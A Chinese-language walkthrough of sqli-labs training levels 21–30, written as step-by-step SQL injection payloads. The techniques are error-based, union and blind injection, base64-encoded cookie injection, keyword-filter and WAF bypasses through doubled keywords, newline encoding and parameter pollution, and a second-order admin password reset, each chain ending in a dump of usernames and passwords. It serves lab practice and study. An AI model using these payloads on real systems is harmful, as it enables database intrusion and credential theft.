第二十一关
先使用正确的账号密码登录试试,发现这里与二十关差不多
推测与20关一样存在Cookie的注入点,但是Cookie好像被base64加密了
那么这关应该就是在二十关基础上加了一个base64加密
先使用burp进行抓包这个登录成功的页面
经过尝试确定是admin') 产生闭合
YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBkYXRhYmFzZSgpKSwweDdlKSwxKSM=
admin') and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
爆出数据库名
YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknKSwweDdlKSwxKSM=
admin') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#
爆出所有该库中的表名
YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBjb2x1bW5fbmFtZSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX25hbWU9J3VzZXJzJ2xpbWl0IDAsMSksMHg3ZSksMSkj
admin') and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 0,1),0x7e),1)#
因为报错信息存在上限,这边不使用group_concat,使用limit,依次爆出全部的列名,存在username和password
YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCB1c2VybmFtZSBmcm9tIHVzZXJzIGxpbWl0IDAsMSksMHg3ZSksMSkj
admin') and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1)#
依次推出所有的账号密码信息,过关
第二十二关
与21关的区别就是是双引号闭合
YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGRhdGFiYXNlKCkpLDB4N2UpLDEpIw==
admin" and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
得到数据库名security
YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGdyb3VwX2NvbmNhdCh0YWJsZV9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hPSdzZWN1cml0eScpLDB4N2UpLDEpIw==
admin" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#
得到security下的全部表
YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGNvbHVtbl9uYW1lIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfbmFtZT0ndXNlcnMnbGltaXQgMCwxKSwweDdlKSwxKSM=
admin" and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 0,1),0x7e),1)#
依次得到users表下的列名,发现存在username和password
YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IHVzZXJuYW1lIGZyb20gdXNlcnMgbGltaXQgMCwxKSwweDdlKSwxKSM=
admin" and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1)#
依次获得全部的账号密码信息,过关
第二十三关
提示与第一关一样需要使用id的值
先尝试 寻找闭合点
?id=1’ 报错
?id=1’ --+报错
?id=1’ # 报错
?id=1’’ 不报错
?id=1’ and ‘1’=’1 不报错
判断是单引号闭合,但是注释符被过滤了
?id=-1'union select 1,2,3'
判断回显位有3个
?id=-1'union select 1,database(),3'
得到数据库名security
?id=-1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3'
得到数据库下的表
?id=-1'union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3'
得到users表下的列名
?id=-1'union select 1,(select group_concat(username,'/',password) from users),3'
得到账号密码信息,过关
第二十四关
首先发现网页是个登录页面,且有忘记密码和注册用户的选项
忘记密码里没有内容,与这关应该没关系
那我们进入新用户创建
创建admin提示已存在用户,那我们尝试admin’#
成功注册
登录后显示以下界面
注:可能会存在没这个页面的情况,需要重新解压sqlilab文件,进行覆盖24关就可以解决了
按要求重置密码
查看数据库后发现这里修改了管理员admin的账号,回到主页面尝试登录,登录成功
第二十五关
页面提示会过滤or和and,并将过滤后的结果显示
Order by不能用了,先尝试使用union select 寻找显位
?id=-1' union select 1,2,3--+
确定显位
?id=-1' union select 1,2,database()--+
爆出数据库名security
?id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'--+
爆出security下的表名,因为information存在or,大小写绕过无用,双写绕过成功
?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='users'--+
爆出users表下的列名
?id=-1' union select 1,2,group_concat(username,'/',passwoorrd) from users--+
爆出全部的账号密码信息,password存在or,需写为passwoorrd
过关
第二十五a关
?id=1’ 提示以下信息
输入?id=1,发现无闭合符号
?id=-1 union select 1,2,database()--+
爆出数据库名称
?id=-1 union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'--+
爆出所有的表名
?id=-1 union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='users'--+
爆出列名
?id=-1 union select 1,2,group_concat(username,passwoorrd) from users--+
爆出账号密码信息
过关
第二十六关
页面提示会过滤空格和注释符
尝试绕过空格过滤,但好像都过滤了,但仍然可以使用括号代替空格的作用
这里使用空格比较少的报错注入
?id=1'||updatexml(1,concat(0x7e,(database()),0x7e),1)||'0
爆出数据库名
?id=1'||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),0x7e),1)||'0
爆表(or过滤仍然存在需要双写)
?id=1'||updatexml(1,concat(0x7e,mid((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='users')),110,31),0x7e),1)||'0
得到users表下的列,因为报错注入有上限,所以使用mid函数
格式:mid(内容,开始位置,往后多少位)
?id=1'||updatexml(1,concat(0x7e,mid((select(group_concat(username,passwoorrd))from(users)),1,31),0x7e),1)||'0
爆出全部的账号密码信息
过关
第二十六a关
经过多次尝试发现这里的报错信息,不会爆出信息
我选择尝试盲注
使用||(or)或者%26%26(&&)(and)替代空格
?id=1')||length(database())=8||'1'=('1
判断数据库名长度为8
?id=1')%26%26substr(database(),1,1)='s' %26%26'1'=('1
数据库第一位是s,依次推出security
?id=1') %26%26 substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),1,1)='e' %26%26 '1'=('1
数据库第一个表第一位是e,依次推出全部的表名
?id=1') %26%26 substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='users')),1,1)='u' %26%26 '1'=('1
依次推出全部的列名
再爆出username和password下字段
过关
第二十七关
页面提示过滤了union和select
?id=1'||updatexml(1,concat(0x7e,concat(database()),0x7e),1)||'0
爆出数据库名security
?id=1'||updatexml(1,concat(0x7e,(seleseleselectctct(group_concat(table_name))from(information_schema.tables)where(table_schema='security')),0x7e),1)||'0
通过重写绕过过滤,获取security下的表
?id=1'||updatexml(1,concat(0x7e,mid((seleseleselectctct(group_concat(column_name))from(information_schema.columns)where(table_name='users')),110,31),0x7e),1)||'0
获取列名username和password
?id=1'||updatexml(1,concat(0x7e,mid((seleseleselectctct(group_concat(username,password))from(users)),1,31),0x7e),1)||'0
爆出账号密码信息
过关
第二十七a关
提示过滤union 和select
爆错信息不存在有用信息所以这里用不了报错注入了
?id=1"%0aorder%0aby%0a3;%00
确定位数
?id=0"%0a ununionion %0a seLect %0a 1,2,database() ;%00
爆数据库
?id=0"%0a ununionion %0a seLect %0a 1,2,group_concat(table_name) %0a from %0a information_schema.tables %0a where %0a table_schema='security' ;%00
爆表
?id=0"%0a ununionion %0a seLect %0a 1,2,group_concat(column_name) %0a from %0a information_schema.columns %0a where %0a table_name='users' ;%00
爆列
?id=0"%0a ununionion %0a seLect %0a 1,2,group_concat(password,username) %0a from %0a users ;%00
爆字段
获取全部的账号密码信息,过关
第二十八关
?id=1') %0a order %0a by %0a 4;%00
确定位数
?id=0') %0aunionunion %0a select%0aselect %0a 1,2,3;%00
大小写绕过失效,重写加个%0a绕过
?id=0') %0aunionunion %0a select%0aselect %0a 1,2,database();%00
爆库
?id=0') %0aunionunion %0a select%0aselect %0a 1,2,group_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security';%00
爆表
?id=0') %0aunionunion %0a select%0aselect %0a 1,2,group_concat(column_name)%0afrom%0ainformation_schema.columns%0awhere%0atable_name='users';%00
爆列
?id=0') %0aunionunion %0a select%0aselect %0a 1,2,group_concat(username,password)%0afrom%0ausers;%00
爆字段
获取全部的账号密码信息过关
第二十八a关
?id=-1')%0aunionunion%0aselect%0aselect%0a1,2,3;%00
与28关一样绕过
?id=-1')%0aunionunion%0aselect%0aselect%0a1,2,database();%00
爆库
?id=-1')%0aunionunion%0aselect%0aselect%0a1,2,group_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security';%00
爆表
?id=-1')%0aunionunion%0aselect%0aselect%0a1,2,group_concat(column_name)%0afrom%0ainformation_schema.columns%0awhere%0atable_name='users';%00
爆列
?id=-1')%0aunionunion%0aselect%0aselect%0a1,2,group_concat(username,password)%0afrom%0ausers;%00
爆字段
获取全部的账号密码信息
过关
第二十九关
从初始页面进入以后发现与第一关无异,发现得进入到login.php才算进入关卡
?id=1 显示正常
?id=1’ 跳转页面
以下是我在别人帖子搜到的信息
如果一个网站只在tomcat服务器处做数据过滤和处理,我们可以利用解析参数的不同,对WAF检测进行绕过。
攻击payload:index.php?id=-1' union select 1,database(),3--+
union select…会被tomcat服务器识别为恶意攻击并拦截,而如果payload如下:
攻击payload:index.php?id=1&id=-1' union select 1,database(),3--+
n select 1,database(),3–+```
tomcat服务器检测第一个参数后发现无异常,提交给apache服务器。成功绕过WAF拦截
原文链接:https://blog.csdn.net/cyynid/article/details/128677232
接下来就正常注入了
?id=1&id=1' order by 4--+
确定显位
?id=1&id=-1' union select 1,2,3--+
?id=1&id=-1' union select 1,2,database()--+
爆库
?id=1&id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
爆表
?id=1&id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
爆列
?id=1&id=-1' union select 1,2,group_concat(username,password) from users--+
爆字段
获取全部的账号密码信息
过关
第三十关
与二十九关一样,只是双引号闭合
?id=1&id=1" order by 4--+
确定显位数
?id=1&id=-1" union select 1,2,3--+
确定显位数量
?id=1&id=-1" union select 1,2,database()--+
爆库
?id=1&id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
爆表
?id=1&id=-1" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
爆列
?id=1&id=-1" union select 1,2,group_concat(username,password) from users--+
爆字段
获取全部的账号密码信息,过关